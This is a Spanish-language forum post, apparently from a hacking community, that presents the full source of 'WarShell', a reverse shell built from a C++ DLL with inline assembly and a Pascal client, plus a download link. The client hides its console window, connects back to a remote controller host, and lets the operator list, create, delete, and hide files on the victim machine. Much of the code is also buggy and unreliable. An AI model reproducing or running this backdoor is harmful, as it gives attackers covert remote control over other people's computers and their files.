Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.
propiedades de la shell:
- Multiconexión
- Migrar las sesiones de las conexiones actuales
- Lista archivos y carpetas
- Muestra información de las unidades del sistema
- Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
- Permite borrar archivos/carpetas, crearlas, esconderlas
- Muestra la hora del sistema
- ip y demas...
Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben
ser cambiadas...
También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que
la sintaxis de intel(por lo menos ami).
el administrador de la shell lo dejare en la descarga ya que es muy simple.
Esta programado con tserversocket.
Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rar
Sin mas que decir el código de la .dll en C++
Código
#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <winsock.h> #include <time.h> /* Las siguientes funciones como los desensamblados en ImmDbg fueron escritas en AT&T por Warz0n3, puedes encontrarme en indetectables.net y foro.elhacker.net por cualquier duda que tengas. */ #define CALLEXPORT extern "C" #define __callspec __declspec(dllexport) typedef struct _wc_sconf { HANDLE hFile; WIN32_FIND_DATA FindFile; time_t rawtime; struct tm *timeinfo; } pwc_confsock; #define drive_sz 27 #define BYTE_NO_ALIGN -0x1 #define BYTE_ALIGN 0x1 #define DRIVER_DESCONOCIDO 0x0 #define DRIVER_SYSLEN 0x4 #define DRIVER_DESMONTABLE 0x2 #define DRIVER_FIJO 0x3 #define DRIVER_REMOTO 0x4 #define DRIVER_CDROM 0x5 #define DRIVER_RAMDISK 0x6 const LPCWSTR drivers[drive_sz] = { L"A:/", L"B:/", L"C:/", L"D:/", L"E:/", L"F:/", L"G:/", L"H:/", L"I:/", L"J:/", L"K:/", L"L:/", L"M:/", L"N:/", L"O:/", L"P:/", L"Q:/", L"R:/", L"S:/", L"T:/", L"U:/", L"V:/", L"W:/", L"X:/", L"Y:/", L"Z:/"}; UINT driver_type; // unsigned int char *driver_buff[_MAX_PATH]; CALLEXPORT { // compara que 2 integros sean iguales, si lo son retorna el valor constante // de nuestro operando(sin signo) y si no es igual retorna -1 __callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval) { asm volatile ( // no guardamos la variable en el microprocesador "sub $0x4, %%esp\n" "mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame "cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame) "jne a2\n" // si la comparacion dio negativa saltamos a a2 // lo preparamos por si es igual (1) "movl $0x1, %%eax\n" // movemos positivo(1) a eax "movl %%eax, %0\n" // movemos eax a eax "nop\n" "mov 0xc(%%ebp), %%eax\n" "mov %%eax, 0xfffffffc(%%ebp)\n" "jmp a3\n" // si es igual saltamos a a3 "a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp "a3: mov 0xfffffffc(%%ebp), %%eax\n" "leave\n" "ret\n" // salimos y retornamos de la funcion :"=r"(retval) // y en el output de solo escritura retornamos la variable :"r"(0x00000000) // movemos el octeto de 0 en el input (solo para preparar) ); } /* intel x86 Como se ve mi funcion en ImmDbg 00401290 /$ 55 PUSH EBP 00401291 |. 89E5 MOV EBP,ESP 00401293 |. 83EC 08 SUB ESP,8 00401299 |. 8D45 08 LEA EAX,DWORD PTR SS:[EBP+8] ; | 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 004012A0 |. C70424 0200000>MOV DWORD PTR SS:[ESP],2 ; | 004012A7 |. E8 94010000 CALL <JMP.&WS2_32.WSAStartup> ; \WSAStartup 004012AC |. 83EC 08 SUB ESP,8 004012B2 |. C9 LEAVE 004012B3 \. C3 RETN Funcion en AT&T push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++ ya se inicializan con el stack frame pre-configurado... 401293: 83 ec 08 sub $0x8,%esp ....... 401299: 8d 45 08 lea 0x8(%ebp),%eax 40129c: 89 44 24 04 mov %eax,0x4(%esp) 4012a0: c7 04 24 02 00 00 00 movl $0x2,(%esp) 4012a7: e8 94 01 00 00 call 0x401440 4012ac: 83 ec 08 sub $0x8,%esp ....... 4012b2: c9 leave 4012b3: c3 ret */ __callspec __stdcall void wcsock_init_driver(WSADATA wsa) { __asm__( "sub $0x8, %esp \n" "lea 0x8(%ebp), %eax \n" "mov %eax, 0x4(%esp) \n" "movl $0x2,(%esp) \n" "call _WSAStartup@8 \n" "sub $0x8, %esp \n" "leave \n" "ret \n" ); } __callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr) { connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr)); } /* Como se ve mi funcion en ImmDbg 004012B0 /$ 55 PUSH EBP 004012B1 |. 89E5 MOV EBP,ESP 004012B3 |. 83EC 08 SUB ESP,8 ... 004012B9 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; | 004012BC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 004012BF |. E8 9C010000 CALL <JMP.&WS2_32.closesocket> ; \closesocket 004012C4 |. 83EC 04 SUB ESP,4 004012C7 |. E8 A4010000 CALL <JMP.&WS2_32.WSACleanup> ; [WSACleanup ... 004012CF |. C9 LEAVE 004012D0 \. C3 RETN los mov eax, ebp y esp son los parametros al s.frame incluso el de subs para volver, y una ves llamada la funcion salgo. */ __callspec __stdcall void wcsock_free(SOCKET wc_tcpsock) { __asm__( "mov 0x8(%ebp), %eax \n" "mov %eax, (%esp) \n" "call _closesocket@4 \n" "sub $0x4, %esp \n" "call _WSACleanup@0 \n" "leave \n" "ret \n" ); } /* // Simple peticion por GET. __callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize) { char reply[buffsize], *metodo; metodo= "GET / HTTP/1.1\r\n\r\n"; send(sock, metodo, strlen(metodo), 0); recv(sock, reply, buffsize, 0); return reply; }*/ /* intel x86 00401299 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; || 0040129C |. 890424 MOV DWORD PTR SS:[ESP],EAX ; || 0040129F |. E8 AC070000 CALL <JMP.&msvcrt.strlen> ; |\strlen 004012A4 |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0 ; | 004012AC |. 894424 08 MOV DWORD PTR SS:[ESP+8],EAX ; | 004012B0 |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] ; | 004012B3 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; | 004012B7 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; | 004012BA |. 890424 MOV DWORD PTR SS:[ESP],EAX ; | 004012BD |. E8 9E010000 CALL <JMP.&WS2_32.send> ; \send 004012C2 |. 83EC 10 SUB ESP,10 La config de s.frame se da igual que en los otros casos... @necesario para el compilador */ __callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg) { __asm__( "sub $0x18,%esp \n" "mov 0xc(%ebp), %eax \n" "mov %eax, (%esp) \n" "call _strlen \n" "movl $0x0, 0xc(%esp) \n" "mov %eax, 0x8(%esp) \n" "mov 0xc(%ebp), %eax \n" "mov %eax, 0x4(%esp) \n" "mov 0x8(%ebp), %eax \n" "mov %eax,(%esp) \n" "call _send@16 \n" "sub $0x10,%esp \n" "leave \n" "ret \n" ); } __callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path , char *delim, int SOCK_TYPE) { pwc_confsock sfile; char fpath[_MAX_PATH], *ffpath[_MAX_PATH]; //char *driver_buff[_MAX_PATH]; strcpy(fpath, path); sfile.hFile= FindFirstFile(fpath, &sfile.FindFile); while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false) { if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE); ffpath[0]= strcat(sfile.FindFile.cFileName, delim); send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE); } } __callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer, char *permutar ) { for (int i=BYTE_ALIGN; i<=0x2; i++){ wcsock_sendstr(wc_tcpsock, dbuffer); if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN) __asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo } } __callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *) { driver_type= GetDriveTypeW(drivers[forsignal]); #ifdef DRIVER_DESCONOCIDO if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_DESMONTABLE if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_FIJO if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_REMOTO if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_CDROM if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal]; #endif #ifdef DRIVER_RAMDISK if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal]; #endif } /* 004014E9 |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] ; |||| 004014EC |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |||| 004014EF |. E8 8C050000 CALL <JMP.&msvcrt.time> ; |||\time */ __callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE) { pwc_confsock stime; stime.timeinfo = localtime ( &stime.rawtime ); printf ( "Current local time and date: %s", asctime (stime.timeinfo) ); send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE); } __callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim, int SOCK_TYPE) { DWORD nBufferLength; TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim) GetCurrentDirectory(nBufferLength, lpBuffer+0x1); send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE); } //int PASCAL recv(SOCKET,char*,int,int); /*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer , int type_sock) { return recv(sock, recv_buffer, strlen(recv_buffer), type_sock); }*/ }
El servidor de la shell
Código
program WarCSock; uses SysUtils, WINDOWS, WinSock, Kol; {$APPTYPE CONSOLE} const warcsock_lib = 'WarCSock.dll'; WCS_SOCK_STREAM = $00000001; WCS_TCP_INET = $00000002; WCS_PROTO_TCP = $00000006; WCS_SOCK_ZERO = $00000000; DRIVER_SYSLEN = $0000001B; BYTE_NO_ALIGN =-$00000001; // I/O WCS_FILE_SHARE_READ = $00000001; WCS_FILE_SHARE_WRITE = $00000002; WCS_FILE_ATTR_NORMAL = $00000080; WCS_FILE_CREATE = $00000002; WCS_FILE_ATTR_READONLY = $00000001 platform; WCS_FILE_ATTR_HIDDEN = $00000002 platform; WCS_FILE_ATTR_SYSTEM = $00000004 platform; WCS_FILE_ATTR_DIR = $00000010; WCS_FILE_ATTR_ARCHIVE = $00000020 platform; // simple encriptacion de los valores chars en bytes EncryptedHashBytesBuffer : array[0..25] of Integer= ( $B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3), $44, $65 xor (2 shl 4), $42 xor (1 shl 2), $4F xor 2 shl 2, $60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2), $A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4, $70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3), $73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2), $56, $55 xor 2, $68 xor (3 shl 4), $5B xor 2, $58 xor 2 ); type PHost_addr = ^sock_addr_in; // la estructura para mis sockets sock_addr_in = record pAddr : sockaddr_in; WSA : WsaData; TcpSock : TSocket; ChBuffer : array[$00..2048] OF Char; PaBuffer : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar; Strlist : PStrList; end; function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic'; function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver'; procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix'; function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto'; procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr'; procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send'; procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile'; function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external warcsock_lib NAME 'WIN32GetLogicalDrivers'; procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime'; procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir'; //function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv'; procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free'; function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow'; var Wsa : WsaData; TcpSock : TSocket; PHostAddr : PHost_addr; Host : string; Port : Uint; TcpInit : BOOL; sData : string; FAttr : Integer; FHandle : DWORD; function // solo usar para las conexiones remotas __call_ix86_getip(): PChar; assembler; asm PUSH EBX ADD ESP, 0FFFFFE70h PUSH ESP // configuro de la pila PUSH $1 CALL WSASTARTUP PUSH Host // 04081B4h CALL GetHostByName MOV EAX, [EAX+0Ch] // puntero en el stack frame XOR EDX, EDX MOV EAX, [EAX+EDX*4] PUSH DWORD PTR [EAX] CALL INET_NTOA MOV EBX, EAX CALL WSACleanup MOV EAX, EBX ADD ESP, 0190h POP EBX RETN end; (* 0040845D |. 53 PUSH EBX ; /FileName 0040845E |. E8 09FFFFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA *) function AsmDeleteFileA(fname : PCHAR) : integer; begin ASM // si no existe retorna -1 OR ESI, 0FFFFFFFFh NOP END; {$I-} if FileExists(fname) then ASM PUSH EBX CALL DELETEFILEA MOV EBX, $1 MOV ESI, EBX // retorna 1 si encuentra el archivo END; {$I+} end; function WIN32GetDriverList(delim:string) : string; var i : Integer; Hash : Char; begin Result:= ''; for i:= 0 to DRIVER_SYSLEN do begin for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin // preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then Result:= Result+delim+Hash; end; end; Result:= Result; end; begin ShowWindow(GetConsoleWindow, SW_HIDE); GetMem(PHostAddr, 3*sizeof(sock_addr_in)); Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas Port:= 999; wcsock_init_driver(WSA); ASM PUSH WCS_SOCK_ZERO PUSH WCS_SOCK_STREAM // stack frame para la configuracion de mi socket PUSH WCS_TCP_INET CALL SOCKET MOV ESI, EAX END; PHostAddr^.pAddr.sin_family := WCS_TCP_INET; PHostAddr^.pAddr.sin_port := u_short(htons(Port)); PHostAddr^.pAddr.sin_addr.s_addr := inet_addr('127.0.0.1'); //inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS PHostAddr^.Strlist := NewStrList; wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr); WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG'); while TcpInit=true do begin sleep(1 div $5); Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO); if PHostAddr^.CHBuffer>'' then begin //WRITELN( PHostAddr^.chBuffer ); if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1); WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO); end; if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') ); if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO); if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer)); if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE, nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!') {$I+} end; if strpos(PHostAddr^.ChBuffer, 'info')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); if FileExists(sData) then begin FAttr:= FileGetAttr(PChar(sData)); if FAttr and WCS_FILE_ATTR_READONLY > 0 then wcsock_sendstr(TcpSock, '- Archivo de solo lectura') else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura'); if FAttr and WCS_FILE_ATTR_HIDDEN > 0 then wcsock_sendstr(TcpSock,'- Archivo oculto') else wcsock_sendstr(TcpSock,'- Archivo desoculto'); if FAttr and WCS_FILE_ATTR_SYSTEM > 0 then wcsock_sendstr(TcpSock,'- Archivo del sistema') else wcsock_sendstr(TcpSock,'- El archivo no es del sistema'); FAttr:= FileAge(sData); wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+ #13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' ); end else if DirectoryExists(sData) then begin wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta'); end else begin wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.'); end; end; if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); FileSetAttr(sData, faHidden); wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido') {$I+} end; if strpos(PHostAddr^.ChBuffer, 'show')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer)); FileSetAttr(sData, 0); wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado'); {$I+} end; if strpos(PHostAddr^.ChBuffer, 'del')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)); if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!') else wcsock_sendstr(TcpSock, 'Archivo no encontrado...'); end; if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer)); if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!') else wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta'); end; {$I+} if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then begin {$I-} sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer)); if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!') else wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)'); end; {$I+} if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then begin sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1); {$I-}SETCURRENTDIR(sData);{$I+} end; if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then begin wcsock_sendstr(TcpSock, 'Saliendo del servidor... '); TcpInit:= false; end; WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); end; end; Shutdown(TcpSock, WCS_TCP_INET); wcsock_free(TcpSock); FreeMem(PHostAddr); end.